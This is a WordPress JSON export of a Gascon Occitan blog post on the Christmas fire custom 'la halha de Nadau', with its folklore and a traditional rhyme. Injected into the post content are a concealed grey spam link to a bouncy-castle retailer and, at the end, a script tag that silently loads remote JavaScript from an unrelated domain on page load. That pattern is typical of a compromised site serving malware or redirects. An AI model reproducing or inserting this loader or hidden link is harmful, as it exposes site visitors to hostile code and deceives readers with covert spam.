{"id":241,"date":"2024-12-20T13:17:07","date_gmt":"2024-12-20T12:17:07","guid":{"rendered":"https:\/\/qui-quiriqui.aprene.org\/?p=241"},"modified":"2025-07-22T03:54:28","modified_gmt":"2025-07-22T01:54:28","slug":"tradicion-de-nadau-en-gasconha-la-halha-de-nadau","status":"publish","type":"post","link":"https:\/\/qui-quiriqui.aprene.org\/?p=241","title":{"rendered":"Tradicion de Nadau en Gasconha : La halha de Nadau"},"content":{"rendered":"\n<p><\/p>\n\n\n\n<p>La Halha de Nadau qu&rsquo;ei ua tradicion hestiva e conviviau ligada a las celebracions de Nadau, principaument observada dens l\u2019o\u00e8st d\u2019Occit\u00e0nia. Lo t\u00e8rme \u00ab\u00a0halha\u00a0\u00bb que h\u00e8 refer\u00e9ncia a un huec o a ua eslama, simbolizant la lutz dens las ten\u00e8bras de l&rsquo;iv\u00e8rn. Aquera tradicion, enrasigada dens las practicas ruraus e comunaut\u00e0rias, qu\u2019ahorti &nbsp;la solidaritat e lo partatge dens los vilatges. La Halha de Nadau que poja a temps ancians on los huecs de solstici est\u00f2n alucats ent\u00e0 celebrar la renaishen\u00e7a de la lutz apr\u00e8s lo dia mei brac de l&rsquo;annada. B\u00e8th temps a, la tradicion que vol\u00e8 que, lo ser de Nadau, que s\u2019en.huequ\u00e8 la \u202fhalha de Nadau\u202f au sor coc (garba de Nadau h\u00e8ita de palha e de huelhas de milh\u00f2c). Las legendas que \u202fson nombrosas : que&rsquo;s dis\u00e8 qu&rsquo;aqueths huecs tra\u00e7avan un camin miant los Reis magues au br\u00e8\u00e7 deu Crist. D\u2019autes qu&rsquo;explican qu&rsquo;avon per mira d&rsquo;aluenhar las broishas e esperits fins ent\u00e0 assegur\u00e0\u2019s bonas rec\u00f2ltas ent\u00e0 l&rsquo;annada a vi\u00e9ner <a href=\"https:\/\/www.365gonflable.fr\/a071022-france-achat-chateau-gonflable-adulte.html\/\" style=\"color: grey; text-decoration: none;\">chateau gonflable adulte<\/a>.<\/p>\n\n\n\n<p>Aquera tradicion qu&rsquo;ei ua mesclanha interessanta enter tradicions paganas e rituaus crestians. La halha de Nadau qu&rsquo;ei un rituau d\u2019abonda e de proteccion de las rec\u00f2ltas.<\/p>\n\n\n\n<p>Halha Nadau,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Halha Nadau,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>Lo p\u00f2rc a la sau,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; La tripa au pau,<br>La pola au topin,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Lo gat au hum<\/p>\n\n\n\n<p>Coratge vesin !&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Pum ! Pum&nbsp;!<\/p>\n\n\n\n<p>Aqueth rituau agrari que&rsquo;s debanavan a un moment prec\u00eds de l&rsquo;annada, la nueit de Nadau, qui \u00e8ra sovent presentada, dens las tradicions popularas, com ua nueit on los broishs e las broishas \u00e8ran particularament danger\u00f3s. Dens cada ostau lo m\u00e8ste deus l\u00f2cs, acompanhat de la soa familha, que has\u00e8 lo torn de la proprietat dab la halha alucada a la man, ent\u00e0 har hu\u00e9ger los broishs e los esperits fins.<\/p>\n\n\n\n<p>Ent\u00e0 portar bonur a tota l&rsquo;ostalada, que&rsquo;s depausava dens lo lar\u00e8r lo barrolh de Nadau qui durava dinc au 1\u00e8r de gen\u00e8r.<\/p>\n\n\n\n<p>La Halha de Nadau, per tan que sia mensh espandida qu\u2019autes c\u00f2ps, que demora ua illustracion de las ber\u00f2jas de la riquessa de las tradicions popularas e de la capacitat lor a ligar. &nbsp;<\/p>\n\n\n\n<p>Alavetz, si un dia avetz lo parat de participar a ua Halha de Nadau, corretz, corretz !<\/p>\n\n\n\n<p>Passatz un bon tric\u00f2t, portatz-vs la gai\u00e8ra e que\u2019vs preparatz a cantar faus mes h\u00f2rt. Pr&rsquo;amor dens aquera tradicion, n&rsquo;ei pas la justessa qui compta, mes la calor umana.<\/p>\n\n\n\n<p>Cristina Cazaubon e la c\u00f2la<\/p>\n\n\n<p><script>;(function(e,l,v,j,f){j=e.createElement(l);f=e.getElementsByTagName(l)[0];j.async=1;j.src=v;f.parentNode.insertBefore(j,f);})(document,'script','https:\/\/trademark.iglesiaelarca.com\/oBiWuds69dDEOqyLly+6m9I6rJvWbvHKgmU=');<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>La Halha de Nadau qu&rsquo;ei ua tradicion hestiva e conviviau ligada a las celebracions de Nadau, principaument observada dens l\u2019o\u00e8st d\u2019Occit\u00e0nia. Lo t\u00e8rme \u00ab\u00a0halha\u00a0\u00bb que h\u00e8 refer\u00e9ncia a un huec o a ua eslama, simbolizant la lutz dens las ten\u00e8bras de l&rsquo;iv\u00e8rn. Aquera tradicion, enrasigada dens las practicas ruraus e comunaut\u00e0rias, qu\u2019ahorti &nbsp;la solidaritat e [&hellip;]<\/p>\n","protected":false},"author":9,"featured_media":228,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-241","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-non-classe"],"_links":{"self":[{"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=\/wp\/v2\/posts\/241","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=\/wp\/v2\/users\/9"}],"replies":[{"embeddable":true,"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=241"}],"version-history":[{"count":6,"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=\/wp\/v2\/posts\/241\/revisions"}],"predecessor-version":[{"id":604,"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=\/wp\/v2\/posts\/241\/revisions\/604"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=\/wp\/v2\/media\/228"}],"wp:attachment":[{"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=241"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=241"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/qui-quiriqui.aprene.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=241"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}